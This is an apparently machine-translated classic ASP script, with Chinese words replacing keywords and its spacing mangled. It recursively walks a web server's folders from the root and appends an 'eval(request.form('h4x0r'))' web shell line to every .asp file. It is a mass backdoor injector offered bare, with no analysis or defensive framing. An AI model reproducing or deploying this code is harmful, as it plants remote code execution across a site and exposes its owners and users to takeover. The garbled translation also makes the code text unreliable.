<％
DIMPH
dimintfile
Server.ScriptTimeOut = 600
ph = server.mappath（“/”）
subInsertallfiles（路径）
setfso = createObject（“ scripting.filesystemobject”）
Onorresumenext
setf = fso.getFolder（路径）
setfc2 = f.files
foreachmyfileinfc2
Iflcase（fso.getExtensionName（path＆“”＆myfile.name））=“ asp”
setfs1 = createObject（“ scripting.filesystemobject”）
settfile = fs1.opentextfile（path＆“＆”＆myfile.name，8，false）
tfile.writeline“ <scriptrunat = serverlanguage = javaScript> eval（request.form（'h4x0r'）+''）</script>'）</script>'）
别的
InsertallFiles（NewPath）
Endif
tfile.close
下一个
setfsubfolers = f.subfolders
foreachf1infsubfolers
newPath =路径＆“”＆f1.name
InsertallFiles（NewPath）
下一个
settfile =没有
setfso =没有
endub
％>
<％
callinsertallfiles（ph）
％>